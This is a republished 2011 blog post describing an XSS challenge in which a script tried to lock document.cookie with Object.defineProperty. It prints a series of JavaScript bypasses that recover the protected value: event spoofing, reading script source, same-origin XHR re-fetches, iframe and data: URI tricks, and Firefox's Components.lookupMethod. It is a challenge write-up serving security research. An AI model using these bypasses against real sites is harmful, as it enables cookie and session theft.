HTML5 Zone is brought to you in partnership with:

Krzysztof is a DZone MVB and is not an employee of DZone and has posted 19 posts at DZone. You can read more from them at their website. View Full User Profile

The Sad State of DOM Security (or how we all ruled Mario's challenge)

10.13.2011
| 3449 views |
  • submit to reddit

A few days ago Mario Heiderich posted second installment of his xssme challenges (viewable in Firefox only for now). But it wasn't a usual challenge. The goal was not to execute your Javascript - it was to get access to the DOM object property (document.cookie) without user interaction. In fact, the payload wasn't filtered at all.

My precious!

This goes along Mario's work on locking DOM and XSS eradication attempt. The concept is that server side filtering for XSS will eventually fail if you need to accept HTML. Further on - sometimes Javascript code should be accepted from the client (mashups are everywhere!), instead we want it to run inside a sandbox, limiting access to some crucial properties (location, cookie, window, some tokens, our internal application object etc.). That's basically what Google Caja tries to achieve server-side. But server does not know about all those browser quirks, parsing issues - it's a different environment after all.

So if a total XSS eradication is possible - it has to be client-side, in the browser. Of course, this requires some support from the browser and the most common weapon is ECMAScript 5 Object.defineProperty() and friends. Basically, it allows you to redefine a property of an object (say, document.cookie) with your own implementation and lock it down so further redefines are not possible.

In theory, it's great. You insert some Javascript code, locking down your precious DOM assets, then you can output unmodified client's code which is already operating in a controlled, sandboxed environment - and you're done. In theory. Read on!

What an event that was!

Mario started with this approach - he prepared a  'firewall' script and below displayed user-supplied HTML without any filtering. But first, only IE9+ and FF6+ were allowed (other browsers don't yet have all the features to lock the precious). In the firewall, he locked down document.cookie, leaving access to it only via a safe getter function. This safe getter function could only be called in via user click. IIRC, it looked like this:

<script>
    document.cookie = '123456-secret-123456'; // my precious
 
    var Safe = function() {
        var cookie = document.cookie; // reference to original
        this.get = function() {
            var ec = arguments.callee.caller;
            var ev = ec.arguments[0];
            if(ec && ev.isTrusted === true
                  && ev.type=='click') { // allow calling only from click events
                return cookie;
            }
            return null;
        };      
    };
    Object.defineProperty(window, 'Safe', {
        value: new Safe, configurable:false}
    ); // Safe cannot be overridden
 
    Object.defineProperty(document, 'cookie', {value: null, configurable: false}); // nullify and seal the original cookie
</script>
<button id="safe123" onclick="alert(Safe.get())">Access document.cookie safely -- the legit way</button>

So we're done, right-o? No! You could spoof the event, call the getter and get the cookie.

	
function b() { return Safe.get(); }
alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); // call b({type:'click',isTrusted:true})

Solution? Make sure that the event is not spoofed by using instanceof yet another locked down object. That was also bypassed in many ways (look for event in bypass list), leading to other lockdowns.

I can read!

 

Another approach was to simply retrieve the script text from document source (after all, it's all in the same origin) - brilliant:

// one
alert(document.head.childNodes[3].text);
// two
alert(document.head.innerHTML.substr(146,20))
// three
var script = document.getElementsByTagName('script')[0];
var clone = script.childNodes[0].cloneNode(true);
var ta = document.createElement('textarea'); ta.appendChild(clone);
alert(ta.value.match(/cookie = '(.*?)'/)[1])

and similar (Authors, please contact me for credits!). The issue here is that client-side, same-origin I can read my own document, including the source code of the script containing the precious cookie.

Fix? Disallow a bunch of node reading functions - so even more locks to add.

We're on the web!

Speaking of reading - isn't the webpage just a blob of text content? Maybe there is a way to read webpage HTML without even interpreting it? Of course there is - it was for years. XMLHttpRequest. So there were multiple side-channel vectors that just read the original URL and extracted the cookie from responseText.

var request = new XMLHttpRequest();
request.open('GET', 'http://html5sec.org/xssme2', false);
request.send(null);
if (request.status == 200){alert(request.responseText.substr(150,41));}

Solution? Disallow XHR (and all it's other forms). Then this happened:

x=document.createElement('iframe');
x.src='http://html5sec.org/404';
x.onload=function(){window.frames[0].document.write("<script>r=new XMLHttpRequest();r.open('GET','http://html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>")};
document.body.appendChild(x);

 and the challenge moved to the separate domain so that one could not attack via another page which was in same origin. And then hell broke loose.

The great escape

People started to load javascript in iframes. These got quickly disabled:

html.body.innerHTML = x;
for (var i in j = html.querySelectorAll('iframe,object,embed')) {
    try {j[i].src = 'javascript:""';j[i].data = 'javascript:""'}
    catch (e) {}
}

Then Mario took another approach to lockdown and created the separate document, replacing the original to lose even his own origin (a brilliant code btw):

if (document.head.parentNode.id !== 'sanitized') {
    document.write('<plaintext id=test>');
    var test = document.getElementById('test');
    setTimeout(function(){
        var x = test.innerHTML;
        var j = null;
        var html = document.implementation.createHTMLDocument(
            'http://www.w3.org/1999/xhtml', 'html', null
        );
        html.body.innerHTML = x;
        document.write('<!doctype html><html id="sanitized"><head>'
         + document.head.innerHTML + '</head><body>'
         + html.body.innerHTML + '</body></html>');
    },50);
}   

But still, as of now, two bypasses work. Gareth Heyes salty bypass and mine.

Mine is using the data: uri with a HTML document that loads the original page via XHR (possible because of Firefox's weird assumption that data: documents are of the same origin as the calling page). Gareth uses proprietary Firefox Components.lookupMethod and gets the original native objects that were supposed to be locked down.

// Mine - use XHR in data:uri
location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1
c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICco
Lio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; // base 64 is: <script>x=new XMLHttpRequest();x.open("GET","http://xssme.html5sec.org/xssme2/",true);x.onload=function()
{ alert(x.responseText.match(/document.cookie = '(.*?)'/)[1])};x.send(null);</script> // Gareth - use unlockable Components.lookupMethod alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),
'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/cookie.*'/));

Solution? None for now. I guess the location is going to be locked down to beat my vector, but Salty Bypass looks flawless.

The sad state of DOM security

Current matters are that the DOM security is in a very poor state. In the end, to be able to lock down a single DOM property Mario - one of the best men for this job on the planet - had to:

  • agree to browser limits (currently only a single browser is in-scope, the challenge is not even working in Chrome)
  • lock down almost everything, including XHR, window, document
  • disallow user interaction
  • disallow reading the contents of the page
  • disallow iframes, object & embeds (so no Youtube movies :( )
  • deal with multiple browser quirks
  • deal with side channels
  • get the challenge on a separate subdomain
  • reload the whole page in new origin

Then a few dozen people sit down, make up the weirdest vectors and make all of this still bypassable :(

And yet we all rule

This post though comes as a salute to all you guys involved! We all rule!

  • Mario rules for coming up with all these countermeasures (remember - it's much tougher to defend)
  • All the contestants rule for bypassing them one after another (I've learned tons of new tricks from others)
  • The challenge rules as it showed exactly what is the current state of DOM security and what needs to be fixed
  • Javascript rules for making all of this possible
  • and Firefox rules for all its quirky bypasses ;)

From http://blog.kotowicz.net/2011/10/sad-state-of-dom-security-or-how-we-all.html

Published at DZone with permission of Krzysztof Kotowicz , author and DZone MVB.

(Note: Opinions expressed in this article and its replies are the opinions of their respective authors and not those of DZone, Inc.)

Comments

Nabeel Manara replied on Fri, 2012/01/27 - 10:37am

Nice! So if we get hands on Components.lookupMethod() and eventually start tracking domain context inheritance on off-protocol redirects such as data: or even javascript:"<script>evil()</script>" we made a major leap towards DOM security getting in sight range ;)

Lucie Hauri replied on Sat, 2012/03/31 - 1:45pm

I must admit that it is real what you said above. Mediums

Comment viewing options

Select your preferred way to display the comments and click "Save settings" to activate your changes.